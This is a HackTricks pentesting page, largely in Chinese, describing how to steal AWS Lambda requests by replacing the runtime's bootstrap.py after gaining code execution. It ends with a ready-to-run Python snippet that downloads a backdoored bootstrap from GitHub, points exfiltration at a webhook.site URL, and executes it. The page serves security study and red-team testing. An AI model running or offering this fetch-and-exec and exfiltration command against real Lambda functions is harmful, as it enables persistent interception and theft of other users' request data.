AWS - Steal Lambda Requests

Support HackTricks

Lambda Flow

  1. Slicer 是容器外的一个进程,发送 调用init 进程。

  2. init 进程监听端口 9001,暴露一些有趣的端点:

  • /2018-06-01/runtime/invocation/next – 获取下一个调用事件

  • /2018-06-01/runtime/invocation/{invoke-id}/response – 返回调用的处理响应

  • /2018-06-01/runtime/invocation/{invoke-id}/error – 返回执行错误

  1. bootstrap.py 有一个循环从 init 进程获取调用并调用用户代码处理它们 (/next)。

  2. 最后,bootstrap.py响应 发送给 init

注意,bootstrap 作为模块加载用户代码,因此用户代码执行的任何代码实际上都发生在这个进程中。

Stealing Lambda Requests

此攻击的目标是让用户代码在处理易受攻击的请求的 bootstrap.py 进程内执行恶意的 bootstrap.py 进程。这样,恶意的 bootstrap 进程将开始 与 init 进程通信 以处理请求,而 合法的 bootstrap 被 困住 运行恶意的,因此它不会向 init 进程请求请求。

由于用户代码由合法的 bootstrap.py 进程执行,因此实现这一目标很简单。所以攻击者可以:

  • 向 init 进程发送当前调用的假结果,使 init 认为 bootstrap 进程正在等待更多调用。

  • 必须向 /${invoke-id}/response 发送请求

  • 可以使用 inspect python 模块(如此处所提议)从合法的 bootstrap.py 进程的堆栈中获取 invoke-id,或者再次请求 /2018-06-01/runtime/invocation/next(如此处所提议)。

  • 执行一个恶意的 bootstrap.py 来处理下一个调用

  • 为了隐蔽性,可以将 lambda 调用参数发送到攻击者控制的 C2,然后按常规处理请求。

  • 对于此攻击,只需从系统或 github 获取原始的 bootstrap.py 代码,添加恶意代码并从当前的 lambda 调用中运行它。

Attack Steps

  1. 找到一个 RCE 漏洞。

  2. 执行 恶意的 bootstrap。

你可以轻松地通过运行以下操作来执行这些操作:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

For more info check https://github.com/carlospolop/lambda_bootstrap_switcher

参考资料

支持 HackTricks

Last updated